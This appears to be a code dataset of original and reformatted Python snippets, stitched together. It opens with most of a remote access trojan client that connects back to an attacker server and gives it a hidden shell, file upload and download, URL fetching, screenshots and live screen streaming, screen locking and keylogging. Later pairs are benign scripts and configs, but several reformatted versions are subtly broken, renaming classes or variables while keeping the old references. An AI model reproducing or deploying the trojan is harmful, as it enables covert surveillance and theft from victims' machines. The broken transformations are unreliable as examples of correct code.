pass\n\nip = \'SERVER_IP\'\nport = SERVER_PORT\nport_video = SERVER_V_IP\nclient_tag = 0\nstatus_strm = True\n\ntry:\n pyautogui.FAILSAFE = False\nexcept:\n #print(3)\n pass\n\ntry:\n app = QtWidgets.QApplication(sys.argv)\n screen = app.primaryScreen()\n size = screen.size()\n WIDTH = size.width()\n HEIGHT = size.height()\nexcept:\n #print(4)\n pass\n\n\ndef retreive_screenshot(conn):\n global status_strm\n with mss() as sct:\n # The region to capture\n rect = {\'top\': 0, \'left\': 0, \'width\': WIDTH, \'height\': HEIGHT}\n\n while True:\n try:\n # Capture the screen\n img = sct.grab(rect)\n # Tweak the compression level here (0-9)\n pixels = compress(img.rgb, 6)\n\n # Send the size of the pixels length\n size = len(pixels)\n size_len = (size.bit_length() + 7) // 8\n conn.send(bytes([size_len]))\n\n # Send the actual pixels length\n size_bytes = size.to_bytes(size_len, \'big\')\n conn.send(size_bytes)\n\n # Send pixels\n conn.sendall(pixels)\n except:\n # print(\'except_from_thread_streaming\')\n #print(5)\n status_strm = False\n break\n\n\ndef main(host=ip, port=port_video):\n try:\n global status_strm\n \'\'\' connect back to attacker on port\'\'\'\n sock = socket.socket()\n sock.connect((host, port))\n sock.send(f\'{WIDTH},{HEIGHT}\'.encode())\n except:\n #print(6)\n return\n\n try:\n while status_strm:\n # print(\'$starting_streaming\')\n try:\n thread = Thread(target=retreive_screenshot, args=(sock,))\n thread.start()\n thread.join()\n except:\n break\n except Exception as ee:\n #print(7)\n # print("ERR: ", e)\n sock.close()\n # pygame.close()\n\n sock.close()\n # pygame.close()\n\n\nclass Client:\n def __init__(self):\n self.timer_rec = False\n\n while True:\n try:\n self.s = socket.socket()\n self.s.connect((ip, port))\n break\n except Exception as exception:\n #print("Exception: {}".format(type(exception).__name__))\n #print("Exception message: {}".format(exception))\n #print(8)\n time.sleep(15)\n\n self.tag = str(client_tag)\n first_connection = True\n self.initial_path = pathlib.Path(__file__).parent.absolute()\n\n if first_connection:\n os_system = str(platform.system()).lower()\n\n # if os_system == \'windows\':\n fingerprint = [\'system_info\',\n f\'tag:{self.tag}\',\n f\'python_version:{platform.python_version()}\',\n f\'system:{platform.system()}\',\n f\'platform:{platform.platform()}\',\n f\'version:{platform.version()}\',\n f\'processor:{platform.processor().replace(" ", "-").replace(",-", "-")}\',\n f\'architecture:{platform.machine()}\',\n f\'uname:{platform.node()}\',\n f\'mac_version:{self.get_mac()}\',\n f\'external_ip:{self.external_ip_addr()}\',\n f\'local_ip:{self.local_ip()}\',\n f\'status:off\',\n f\'file_path:{os.path.abspath(__file__)}\'\n ]\n fingerprint = self.crypt(fingerprint, \'SERVER_KEY\')\n self.s.send(str(fingerprint).encode(\'utf-8\'))\n\n self.lock_screen_status = False\n\n self.path_output = pathlib.Path(__file__).parent.absolute()\n self.break_terminal = False\n self.command_terminal = None\n self.active_termial = False\n\n self.kl_unique = False\n self.stop_logging = False;\n # print(f"OS => {platform.platform()}")\n\n f = open(\'output.txt\', \'wb\')\n\n if \'windows\' in str(platform.platform()).lower():\n self.proc = subprocess.Popen(\'cmd.exe\', stderr=subprocess.STDOUT, stdin=subprocess.PIPE, stdout=f)\n\n elif \'linux\' in str(platform.platform()).lower() or \'linux\' in str(platform.system()).lower():\n self.proc = subprocess.Popen(\'/bin/bash\', stderr=subprocess.STDOUT, stdin=subprocess.PIPE, stdout=f)\n\n self.monitoring()\n\n def call_terminal(self, command_server):\n rmv_st = command_server\n if command_server == \'-restore\':\n try:\n with open(\'output.txt\', \'r\') as ff:\n strc = ff.read()\n ff.close()\n\n ansi_escape = re.compile(r\'(?:\\x1B[@-_]|[\\x80-\\x9F])[0-?]*[ -/]*[@-~]\')\n output_ansi = ansi_escape.sub(\'\', strc)\n strc = output_ansi\n\n with open(\'output.txt\', \'wb\') as ff:\n ff.write(bytes(strc, encoding=\'utf-8\'))\n ff.close()\n\n with open(\'output.txt\', \'rb\') as gotp:\n content_otp = gotp.read()\n try:\n content_otp = content_otp.replace(b\'\\\\x00\', b\'\')\n content_otp = content_otp.replace(b\'\\x00\', b\'\')\n except:\n #print(9)\n pass\n gotp.close()\n time.sleep(2)\n # string_output = content_otp.encode(\'utf-8\')\n # print(f\'-RESTORE {content_otp}\')\n return content_otp\n except:\n #print(10)\n time.sleep(2)\n string_output = \'Has not possible to recovery the last STDOUT\\.n\'\n # string_output = content_otp.encode(\'utf-8\')\n return string_output\n\n\n elif command_server == \'-restart\':\n try:\n os.execl(sys.executable, os.path.abspath(__file__), *sys.argv)\n return\n except:\n #print(11)\n string_output = \'\\nWas not possible to restart the .\\n.\'\n string_output = string_output.encode(\'utf-8\')\n return string_output\n\n command = str(command_server)\n\n #print(f\'[{command}]\')\n\n # if command == "cls":\n open(\'output.txt\', \'wb\').close()\n\n os_sys = str(platform.platform()).lower()\n\n if \'winwdows\' in os_sys:\n os.system(\'cls\')\n\n if \'linux\' in os_sys:\n os.system(\'clear\')\n\n time.sleep(0.1)\n # else:\n command = command.encode(\'utf-8\') + b\'\\n\'\n self.proc.stdin.write(command)\n self.proc.stdin.flush()\n time.sleep(2)\n\n with open(\'output.txt\', \'r\') as ff:\n strc = ff.read()\n ff.close()\n\n ansi_escape = re.compile(r\'(?:\\x1B[@-_]|[\\x80-\\x9F])[0-?]*[ -/]*[@-~]\')\n output_ansi = ansi_escape.sub(\'\', strc)\n strc = output_ansi\n\n with open(\'output.txt\', \'wb\') as ff:\n ff.write(bytes(strc, encoding=\'utf-8\'))\n ff.close()\n\n\n\n with open(\'output.txt\', \'rb\') as ff:\n string_output = ff.read()\n try:\n string_output = string_output.replace(b\'\\\\x00\', b\'\')\n string_output = string_output.replace(b\'\\x00\', b\'\')\n except:\n #print(12)\n pass\n\n #print(f\'to server -> {string_output}\')\n\n # string_output = string_output.encode(\'utf-8\')\n # print(string_output)\n # try:\n # print(string_output)\n # except:\n # pass\n \n try:\n check_stb = string_output[:len(rmv_st)]\n if check_stb == bytes(rmv_st, encoding=\'utf-8\'):\n rmv_stb = bytes(rmv_st, encoding=\'utf-8\') + b\'\\n\'\n #print(rmv_stb)\n string_output = string_output.replace(rmv_stb, b\'\') \n except Exception as exception:\n print("Exception: {}".format(type(exception).__name__))\n print("Exception message: {}".format(exception))\n\n #print(f\'final{string_output}\')\n\n return string_output\n\n def monitoring(self):\n while True:\n try:\n ###########time.sleep(2)\n # socket.settimeout(40)\n #print(\'waiting\')\n self.s.settimeout(60)\n string_server = self.s.recv(1024*1024).decode()\n #print(f\'string server -> {string_server}\')\n # socket.settimeout(45)\n except Exception as exception:\n #print("Exception: {}".format(type(exception).__name__))\n #print("Exception message: {}".format(exception))\n #print(13)\n # caso desligue com lock ativo vvvv\n self.lock_screen_status = False\n ##################################\n\n self.s.close()\n while True:\n ############time.sleep(2)\n try:\n self.s = socket.socket()\n self.s.connect((ip, port))\n os_system = str(platform.system()).lower()\n\n # if os_system == \'windows\':\n fingerprint = [\'system_info\',\n f\'tag:{self.tag}\',\n f\'python_version:{platform.python_version()}\',\n f\'system:{platform.system()}\',\n f\'platform:{platform.platform()}\',\n f\'version:{platform.version()}\',\n f\'processor:{platform.processor().replace(" ", "-").replace(",-", "-")}\',\n f\'architecture:{platform.machine()}\',\n f\'uname:{platform.node()}\',\n f\'mac_version:{self.get_mac()}\',\n f\'external_ip:{self.external_ip_addr()}\',\n f\'local_ip:{self.local_ip()}\',\n f\'status:off\',\n ]\n fingerprint = self.crypt(fingerprint, \'SERVER_KEY\')\n self.s.send(str(fingerprint).encode(\'utf-8\'))\n break\n except:\n #print(14)\n time.sleep(15)\n pass\n\n # error aqui\n time.sleep(1) ################1335\n try:\n rcvdData = str(string_server).replace("b\'", "").replace("\'", "")\n except Exception as exception:\n #print("Exception: {}".format(type(exception).__name__))\n #print("Exception message: {}".format(exception))\n #print(15)\n continue\n\n try:\n rcvdData = bytes(rcvdData, encoding=\'utf-8\')\n str_content = self.decrypt(rcvdData, \'SERVER_KEY\')\n str_content = str(str_content).replace("b\'", "").replace("\'", "")\n except:\n #print(16)\n continue\n\n # print(f\'recbido -> {str_content}\')\n\n # if not \'hello\' in str(string_server) and str(string_server) != \'\' and str(string_server) != \' \':\n if str_content != \'hello\' and str_content != \'\' and str_content != \' \':\n # print(f\'S: {str_content}\')\n\n # response = self.identify(str(str_content))\n\n response = self.identify(str_content)\n\n # print(f\'TO SERVER => -{response}\')\n\n try:\n response = self.crypt(response, \'SERVER_KEY\')\n response = response.replace(b\'b\', b\'%%GBITR%%\')\n # print(\'----------------\')\n # print(response)\n # print(\'----------------\')\n # self.s.send(str(response).encode(\'utf-8\'))\n self.s.send(response)\n\n del (string_server)\n del (rcvdData)\n del (str_content)\n del (response)\n\n except:\n #print(17)\n # \'ALERTA DE EXCEPT\')\n pass\n # time.sleep(1)\n\n def identify(self, command):\n if \'[SYSTEM_SHELL]\' in command:\n try:\n command = command.replace(\'[SYSTEM_SHELL]\', \'\')\n response = self.call_terminal(command)\n\n\n return response\n\n except:\n #print(18)\n pass\n\n elif \'[FGET]\' in command:\n command = command.replace(\'[FGET]\', \'\')\n try:\n\n with open(command, \'rb\') as file_content:\n f_ct = file_content.read()\n file_content.close()\n\n f_ct = self.crypt_file(f_ct, \'SERVER_KEY\')\n\n with open(f\'{command}_tmp\', \'wb\') as file_cpt:\n file_cpt.write(f_ct)\n\n del (f_ct)\n except:\n #print(19)\n content = \'An error has occurred, please try again.\'\n return content\n\n try:\n f = open(f\'{command}_tmp\', \'rb\')\n except:\n #print(20)\n content = \'An error has occurred, please try again.\'\n return\n\n l = f.read(1024)\n # print(\'Sending FGET\')\n time.sleep(2)\n while (l):\n try:\n # l = self.crypt(l, \'SERVER_KEY\')\n # l = l.replace(b\'b\', b\'%%GBITR%%\')\n # print(f\'> {l}\')\n self.s.settimeout(5)\n self.s.send(l)\n except:\n #print(21)\n # print(\'except FGET\')\n break\n l = f.read(1024)\n f.close()\n time.sleep(0.5)\n\n # try:\n # self.s.send(b\'\\\\end\\\\\')\n # except:\n # print(\'except no \\\\end\\\\\')\n # pass\n\n try:\n os.remove(f\'{command}_tmp\')\n except:\n #print(22)\n content = \'An error has occurred, please try again.\'\n return content\n time.sleep(5)\n\n end_tag = \'%&@end__tag@&%\'\n self.s.send(end_tag.encode(\'utf-8\'))\n # print(\'FIM\')\n return end_tag\n\n elif \'[FPUT]\' in command:\n # elif command.startwith(\'[FPUT]\'):\n command = command.replace(\'[FPUT]\', \'\')\n # continue\n try:\n for e in range(20):\n self.s.settimeout(0.5)\n clear_buff = self.s.recv(1024 * 1024 * 1024)\n # \'buffer cleaned FGET\')\n except:\n #print(22)\n pass\n\n try:\n f = open(f\'{command}\', \'wb\')\n self.s.settimeout(25)\n l = self.s.recv(1024)\n # l = str(c.recv(1024))\n\n # l = l.replace(\'b"\', \'\')\n # l = l.replace("b\'", \'\')\n # l = l.replace(\'"\', \'\')\n # l = l.replace("\'", \'\')\n # l = l.replace(\'%%GBITR%%\', \'b\')\n # l = bytes(l, encoding=\'utf-8\')\n\n while (l):\n # print(f\'FRAGMENTO {l}\')\n # print(f\'writing => {l}\')\n\n if \'%@end_tag@%\' in l.decode(\'utf-8\'):\n # print(\'a casa caiu\')\n break\n\n f.write(l)\n\n l = self.s.recv(1024 * 1024)\n # l = str(c.recv(1024))\n # l = l.replace(\'b"\', \'\')\n # l = l.replace("b\'", \'\')\n # l = l.replace(\'"\', \'\')\n # l = l.replace("\'", \'\')\n # l = l.replace(\'%%GBITR%%\', \'b\')\n # l = bytes(l, encoding=\'utf-8\')\n f.close()\n # print(\'FIM ARQUIVO\\n\\n\\n\')\n\n with open(f\'{command}\', \'rb\') as a:\n b = a.read()\n\n try:\n b = self.decrypt(b, \'SERVER_KEY\')\n\n with open(f\'{command}\', \'wb\') as c:\n c.write(b)\n except:\n #print(24)\n pass\n except:\n #print(25)\n pass\n\n elif \'[@%WEBGET%@]\' in command:\n try:\n with open(\'tmp_call\', \'w\') as tmpc:\n tmpc.write(command)\n except:\n #print(26)\n time.sleep(2)\n return\n thread_strmg = threading.Thread(target=self.webget_file, args=())\n thread_strmg.daemon = True\n thread_strmg.start()\n time.sleep(2)\n return\n\n elif \'[@%WEBRAW%@]\' in command:\n try:\n with open(\'tmp_call\', \'w\') as tmpc:\n tmpc.write(command)\n except:\n #print(27)\n time.sleep(2)\n return\n thread_strmg = threading.Thread(target=self.webraw_file, args=())\n thread_strmg.daemon = True\n thread_strmg.start()\n time.sleep(2)\n return\n\n elif \'%get-screenshot%\' in command:\n # elif command.startwith(\'%get-screenshot%\'):\n\n try:\n image = pyautogui.screenshot()\n except:\n #print(28)\n return\n\n image.save(f\'screeenshot_{self.tag}.png\')\n time.sleep(0.2)\n\n with open(f\'screeenshot_{self.tag}.png\', \'rb\') as f:\n content_image = f.read()\n f.close()\n\n # os.remove(f\'screeenshot_{self.tag}.png\')\n\n with open(f\'screeenshot_crypt_{self.tag}.png\', \'wb\') as f:\n f.write(self.crypt_file(content_image, \'SERVER_KEY\'))\n f.close()\n\n f = open(f\'screeenshot_crypt_{self.tag}.png\', \'rb\')\n # f = open(f\'screeenshot_{self.tag}.png\', \'rb\')\n\n l = f.read(1024)\n # print(\'Sending PNG\')\n while (l):\n # print(">>>", l)\n try:\n self.s.send(l)\n except:\n #print(29)\n # print("break conexao");\n break\n l = f.read(1024)\n f.close()\n time.sleep(2)\n\n try:\n self.s.send(b\'\\\\@%end%@\\\\\')\n except:\n #print(30)\n pass\n\n try:\n os.remove(f\'screeenshot_{self.tag}.png\')\n os.remove(f\'screeenshot_crypt_{self.tag}.png\')\n except:\n #print(31)\n pass\n\n return\n\n elif \'%lock-screen%\' in command:\n # elif command.startwith(\'%lock-screen%\'):\n threadd = threading.Thread(target=self.lock_screen, args=())\n threadd.daemon = True\n threadd.start()\n time.sleep(2)\n return\n\n\n elif \'%unlock-screen%\' in command:\n # elif command.startwith(\'%unlock-screen%\'):\n self.lock_screen_status = False\n time.sleep(2)\n return\n\n elif \'%sv-init-live-video%\' in command:\n # elif command.startwith(\'%sv-init-live-video%\'):\n thread_strmg = threading.Thread(target=self.start_streaming, args=())\n thread_strmg.daemon = True\n thread_strmg.start()\n\n elif \'%start-kl-function%\' in command:\n # print(self.stop_logging, self.kl_unique)\n if self.kl_unique:\n return\n else:\n self.kl_unique = True\n thread = threading.Thread(target=self.kl_main, args=())\n thread.daemon = True\n thread.start()\n time.sleep(2)\n return\n\n elif \'%stop-kl-function%\' in command:\n self.stop_logging = True\n self.kl_unique = False\n time.sleep(2)\n return\n\n elif \'%print-kl-function%\' in command:\n try:\n with open(\'kl_log.txt\', \'r\') as get_kll:\n log_string = get_kll.read()\n get_kll.close()\n time.sleep(2)\n return f\'[@%HOST_SHELL%@]{log_string}\'\n except:\n #print(32)\n response = \'\\nHas not possible to open the keylogger log.\\n\'\n time.sleep(2)\n return response\n\n elif \'@%list-softwares%@\' in command:\n if \'windows\' in str(platform.platform()).lower():\n try:\n data = subprocess.check_output([\'wmic\', \'product\', \'get\', \'name\'])\n data_str = str(data)\n cont_tmp = []\n cont_lst = f\'[@%HOST_SHELL%@]\'\n except:\n #print(33)\n return\n\n try:\n for i in range(len(data_str)):\n string_part = (data_str.split("\\\\r\\\\r\\\\n")[6:][i])\n string_part = string_part.lstrip().rstrip()\n if string_part != \'\' and string_part != \' \' and string_part != \'"\' and string_part != "\'":\n cont_tmp.append(string_part)\n\n except IndexError as e:\n #print(34)\n pass\n try:\n for i in cont_tmp:\n cont_lst += i + \'\\n\'\n except:\n #print(35)\n pass\n\n return cont_lst\n\n elif \'linux\' in str(platform.platform()).lower():\n try:\n cont_lst = f\'[@%HOST_SHELL%@]\'\n response = subprocess.getoutput(\'ls /bin && ls /opt\')\n # response = response.split(\'\\\\n\')\n cont_lst += str(response).replace("[", "");\n time.sleep(2)\n return cont_lst\n except:\n #print(36)\n pass\n else:\n response = \'error\'\n return response\n\n def start_streaming(self):\n global status_strm\n dir_path = os.path.dirname(os.path.realpath(__file__))\n try:\n # os.system(f\'{dir_path}/vstrm.py\')\n status_strm = True\n main()\n\n except:\n #print(37)\n pass\n\n def lock_screen(self):\n self.lock_screen_status = True\n while self.lock_screen_status:\n pyautogui.moveTo(1, 1)\n\n def windows_screenshot_stream(self, number):\n try:\n myScreenshot = pyautogui.screenshot()\n myScreenshot.save(f\'images/{number}.png\')\n except:\n #print(38)\n pass\n\n def webget_file(self):\n try:\n with open(\'tmp_call\', \'r\') as tmpc:\n command = tmpc.read()\n os.remove(\'tmp_call\')\n\n command = command.replace(\'[@%WEBGET%@]\', \'\')\n command = command.replace(\'-webget\', \'\').replace(\' -f \', \',\')\n command = command.split(\',\')\n\n url = command[0]\n get_response = requests.get(url, stream=True)\n file_name = url.split("/")[-1]\n with open(command[1], \'wb\') as f:\n for chunk in get_response.iter_content(chunk_size=1024):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n f.close()\n except:\n #print(39)\n try:\n os.remove(\'tmp_call\')\n os.remove(command[1])\n except:\n #print(40)\n pass\n\n def webraw_file(self):\n try:\n with open(\'tmp_call\', \'r\') as tmpc:\n command = tmpc.read()\n os.remove(\'tmp_call\')\n\n command = command.replace(\'[@%WEBRAW%@]\', \'\')\n command = command.replace(\'-webraw\', \'\').replace(\' -f \', \',\')\n command = command.split(\',\')\n\n url = command[0]\n html = requests.get(url).content\n\n with open(command[1], \'w\') as f:\n f.write(html.decode(\'utf-8\'))\n f.close\n except:\n #print(41)\n try:\n os.remove(\'tmp_call\')\n os.remove(command[1])\n except:\n #print(42)\n pass\n\n # @staticmethod\n def kl_main(self):\n while not self.stop_logging:\n with Listener(on_press=self.writeLog) as l:\n # l.join()\n while True:\n if self.stop_logging:\n l.stop()\n self.kl_unique = False\n self.stop_logging = False\n return\n\n time.sleep(1)\n\n keydata = str(key)\n\n # @staticmethod\n def writeLog(self, key):\n keydata = str(key)\n # print(self.stop_logging)\n try:\n with open(\'kl_log.txt\', \'r\') as create_f:\n create_f.close()\n except:\n #print(43)\n with open(\'kl_log.txt\', \'w\') as create_f:\n create_f.close()\n\n with open("kl_log.txt", "a") as f:\n if \'Key.space\' in keydata:\n f.write(\' \')\n elif \'Key\' in keydata:\n return\n # f.write(f\'<{keydata}>\')\n else:\n f.write(keydata.replace("\'", \'\'))\n\n @staticmethod\n def crypt(msg, key):\n command = str(msg)\n command = bytes(command, encoding=\'utf8\')\n cipher_suite = Fernet(key)\n encoded_text = cipher_suite.encrypt(command)\n return encoded_text\n\n @staticmethod\n def crypt_file(msg, key):\n cipher_suite = Fernet(key)\n encoded_text = cipher_suite.encrypt(msg)\n return encoded_text\n\n @staticmethod\n def decrypt(msg, key):\n cipher_suite = Fernet(key)\n decoded_text_f = cipher_suite.decrypt(msg)\n return decoded_text_f\n\n @staticmethod\n def local_ip():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect(("8.8.8.8", 80))\n lip = s.getsockname()[0]\n s.close()\n return lip\n\n @staticmethod\n def external_ip_addr():\n try:\n exip = requests.get(\'https://www.myexternalip.com/raw\').text\n exip = str(exip).replace(\' \', \'\')\n \n except:\n #print(44)\n exip = \'None\'\n\n return exip\n\n @staticmethod\n def get_mac():\n # mac_num = hex(uuid.getnode()).replace(\'0x\', \'\').upper()\n mac_num = hex(uuid.getnode()).replace(\'0x\', \'00\').upper()\n mac = \'-\'.join(mac_num[i: i + 2] for i in range(0, 11, 2))\n return mac\n\n\nif __name__ == \'__main__\':\n client = Client()\n client.__init__()\n' |
calculation_to_units = 24 # global vars
name_of_unit = "hours" # global vars
def days_to_units(num_of_days, custom_message):
# num_of_days and custom_message are local vars inside function
print(f"{num_of_days} days are {num_of_days * calculation_to_units} {name_of_unit}")
print(custom_message)
def scope_check(num_of_days):
# num_of_days is another local vars and is different than the one used in function days_to_units
my_var = "var inside function"
print(name_of_unit)
print(num_of_days)
print(my_var)
scope_check(20)
| calculation_to_units = 24
name_of_unit = 'hours'
def days_to_units(num_of_days, custom_message):
print(f'{num_of_days} days are {num_of_days * calculation_to_units} {name_of_unit}')
print(custom_message)
def scope_check(num_of_days):
my_var = 'var inside function'
print(name_of_unit)
print(num_of_days)
print(my_var)
scope_check(20) |
class Problem:
MULTI_LABEL = 'MULTI_LABEL'
MULTI_CLASS = 'MULTI_CLASS'
GENERIC = 'GENERIC'
class AssignmentType:
CRISP = 'CRISP'
CONTINUOUS = 'CONTINUOUS'
GENERIC = 'GENERIC'
class CoverageType:
REDUNDANT = 'REDUNDANT'
COMPLEMENTARY = 'COMPLEMENTARY'
COMPLEMENTARY_REDUNDANT = 'COMPLEMENTARY_REDUNDANT'
GENERIC = 'GENERIC'
class EvidenceType:
CONFUSION_MATRIX = 'CONFUSION_MATRIX'
ACCURACY = 'ACCURACY'
GENERIC = 'GENERIC'
class PAC:
GENERIC = (Problem.GENERIC, AssignmentType.GENERIC, CoverageType.GENERIC)
| class Problem:
multi_label = 'MULTI_LABEL'
multi_class = 'MULTI_CLASS'
generic = 'GENERIC'
class Assignmenttype:
crisp = 'CRISP'
continuous = 'CONTINUOUS'
generic = 'GENERIC'
class Coveragetype:
redundant = 'REDUNDANT'
complementary = 'COMPLEMENTARY'
complementary_redundant = 'COMPLEMENTARY_REDUNDANT'
generic = 'GENERIC'
class Evidencetype:
confusion_matrix = 'CONFUSION_MATRIX'
accuracy = 'ACCURACY'
generic = 'GENERIC'
class Pac:
generic = (Problem.GENERIC, AssignmentType.GENERIC, CoverageType.GENERIC) |
N,M = map(int,input().split())
ab_lst = [list(map(int,input().split())) for i in range(M)]
K = int(input())
cd_lst = [list(map(int,input().split())) for i in range(K)]
| (n, m) = map(int, input().split())
ab_lst = [list(map(int, input().split())) for i in range(M)]
k = int(input())
cd_lst = [list(map(int, input().split())) for i in range(K)] |
# hello.py
print('Hello World')
# python hello.py
# Hello World | print('Hello World') |
'one\n'
'two\n'
'threefourfive\n'
'six\n'
'seven\n'
'last'
| """one
"""
'two\n'
'threefourfive\n'
'six\n'
'seven\n'
'last' |
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
class AzureTestError(Exception):
def __init__(self, error_message):
message = 'An error caused by the Azure test harness failed the test: {}'
super(AzureTestError, self).__init__(message.format(error_message))
class NameInUseError(Exception):
def __init__(self, error_message):
super(NameInUseError, self).__init__(error_message) | class Azuretesterror(Exception):
def __init__(self, error_message):
message = 'An error caused by the Azure test harness failed the test: {}'
super(AzureTestError, self).__init__(message.format(error_message))
class Nameinuseerror(Exception):
def __init__(self, error_message):
super(NameInUseError, self).__init__(error_message) |
# Copyright (C) 2019 Akamai Technologies, Inc.
# Copyright (C) 2011-2014,2016 Nominum, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
def reply_to(request, request_type=None):
_ctrl = {}
_data = {}
response = {'_ctrl': _ctrl, '_data': _data}
if request_type is not None:
t = request_type
else:
t = request['_data'].get('type')
if t is not None:
_data['type'] = t
_ctrl['_rpl'] = b'1'
_ctrl['_rseq'] = request['_ctrl']['_sseq']
s = request['_ctrl'].get('_seq')
if s is not None:
_ctrl['_seq'] = s
return response
def error(request, detail, request_type=None):
response = reply_to(request, request_type)
response['_data']['err'] = detail
return response
def request(content):
message = {'_ctrl': {},
'_data': content}
return message
def event(content):
message = {'_ctrl': {'_evt': b'1'},
'_data': content}
return message
def is_reply(message):
return '_rpl' in message['_ctrl']
def is_event(message):
return '_evt' in message['_ctrl']
def is_request(message):
_ctrl = message['_ctrl']
return not ('_rpl' in _ctrl or '_evt' in _ctrl)
def kind(message):
_ctrl = message['_ctrl']
if '_rpl' in _ctrl:
return 'response'
elif '_evt' in _ctrl:
return 'event'
else:
return 'request'
kinds = frozenset(('request', 'response', 'event'))
| def reply_to(request, request_type=None):
_ctrl = {}
_data = {}
response = {'_ctrl': _ctrl, '_data': _data}
if request_type is not None:
t = request_type
else:
t = request['_data'].get('type')
if t is not None:
_data['type'] = t
_ctrl['_rpl'] = b'1'
_ctrl['_rseq'] = request['_ctrl']['_sseq']
s = request['_ctrl'].get('_seq')
if s is not None:
_ctrl['_seq'] = s
return response
def error(request, detail, request_type=None):
response = reply_to(request, request_type)
response['_data']['err'] = detail
return response
def request(content):
message = {'_ctrl': {}, '_data': content}
return message
def event(content):
message = {'_ctrl': {'_evt': b'1'}, '_data': content}
return message
def is_reply(message):
return '_rpl' in message['_ctrl']
def is_event(message):
return '_evt' in message['_ctrl']
def is_request(message):
_ctrl = message['_ctrl']
return not ('_rpl' in _ctrl or '_evt' in _ctrl)
def kind(message):
_ctrl = message['_ctrl']
if '_rpl' in _ctrl:
return 'response'
elif '_evt' in _ctrl:
return 'event'
else:
return 'request'
kinds = frozenset(('request', 'response', 'event')) |
KAGGLE_SERVER_ID = 862766322550702081
SPAM_TIME = 5 # number of seconds between messages in the same channel
SPAM_AMOUNT = 5 # number of messages sent in or less :SPAM_TIME:
# seconds to be considered spam
SPAM_PUNISH_TIME = 10
MUTE_ROLE_ID = 12345 # ID of the role to use to mute members.
DATABASE_NAME = 'kaggle_30dML'
DATABASE_URL = ""
TOKEN = 'DISCORD BOT TOKEN' # Generated from discord's developer's portal | kaggle_server_id = 862766322550702081
spam_time = 5
spam_amount = 5
spam_punish_time = 10
mute_role_id = 12345
database_name = 'kaggle_30dML'
database_url = ''
token = 'DISCORD BOT TOKEN' |
# --------------
#Code starts here
#Function to read file
def read_file(path):
file = open(path, 'r')
scentence = file.readline()
file.close()
return scentence
path = file_path
sample_message = read_file(path)
print (sample_message)
message_1 = read_file(file_path_1)
print (message_1)
message_2 = read_file(file_path_2)
print (message_2)
def fuse_msg(message_a, message_b):
v = int(message_a)
m = int(message_b)
quotient = m//v
str(quotient)
return quotient
secret_msg_1 = fuse_msg(message_1, message_2)
print (secret_msg_1)
p = read_file(file_path_3)
message_3 = p
print(message_3)
def substitute_msg(message_c):
if message_c == "red":
sub = "Army General"
elif message_c == "Green":
sub = "Data Scientist"
elif mesaage_c == "Blue":
sub = "Marine Biologist"
return sub
secret_msg_2 = substitute_msg(message_3)
print (secret_msg_2)
message_4 = read_file(file_path_4)
message_5 = read_file(file_path_5)
print (message_4)
print (message_5)
def compare_msg(message_d, message_e):
a_list = message_d.split()
b_list = message_e.split()
c_list = [x for x in a_list if x not in b_list]
final_msg = " ".join(c_list)
return final_msg
secret_msg_3 = compare_msg(message_4, message_5)
print (secret_msg_3)
message_6 = read_file(file_path_6)
print (message_6)
def extract_msg(message_f):
a_list = message_f.split()
even_word= lambda x: len(x)%2 == 0
b_list = filter(even_word, a_list)
final_msg = " ".join(b_list)
return final_msg
secret_msg_4 = extract_msg(message_6)
print (secret_msg_4)
message_parts=[secret_msg_3, str(secret_msg_1), secret_msg_4, secret_msg_2]
final_path= user_data_dir + '/secret_message.txt'
secret_msg = " ".join(message_parts)
def write_file(secret_msg, path):
s = open(path,'a+')
s.write(secret_msg)
s.close()
write_file(secret_msg, final_path)
print (secret_msg)
| def read_file(path):
file = open(path, 'r')
scentence = file.readline()
file.close()
return scentence
path = file_path
sample_message = read_file(path)
print(sample_message)
message_1 = read_file(file_path_1)
print(message_1)
message_2 = read_file(file_path_2)
print(message_2)
def fuse_msg(message_a, message_b):
v = int(message_a)
m = int(message_b)
quotient = m // v
str(quotient)
return quotient
secret_msg_1 = fuse_msg(message_1, message_2)
print(secret_msg_1)
p = read_file(file_path_3)
message_3 = p
print(message_3)
def substitute_msg(message_c):
if message_c == 'red':
sub = 'Army General'
elif message_c == 'Green':
sub = 'Data Scientist'
elif mesaage_c == 'Blue':
sub = 'Marine Biologist'
return sub
secret_msg_2 = substitute_msg(message_3)
print(secret_msg_2)
message_4 = read_file(file_path_4)
message_5 = read_file(file_path_5)
print(message_4)
print(message_5)
def compare_msg(message_d, message_e):
a_list = message_d.split()
b_list = message_e.split()
c_list = [x for x in a_list if x not in b_list]
final_msg = ' '.join(c_list)
return final_msg
secret_msg_3 = compare_msg(message_4, message_5)
print(secret_msg_3)
message_6 = read_file(file_path_6)
print(message_6)
def extract_msg(message_f):
a_list = message_f.split()
even_word = lambda x: len(x) % 2 == 0
b_list = filter(even_word, a_list)
final_msg = ' '.join(b_list)
return final_msg
secret_msg_4 = extract_msg(message_6)
print(secret_msg_4)
message_parts = [secret_msg_3, str(secret_msg_1), secret_msg_4, secret_msg_2]
final_path = user_data_dir + '/secret_message.txt'
secret_msg = ' '.join(message_parts)
def write_file(secret_msg, path):
s = open(path, 'a+')
s.write(secret_msg)
s.close()
write_file(secret_msg, final_path)
print(secret_msg) |
#
# PySNMP MIB module MY-MEMORY-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/MY-MEMORY-MIB
# Produced by pysmi-0.3.4 at Wed May 1 14:16:30 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
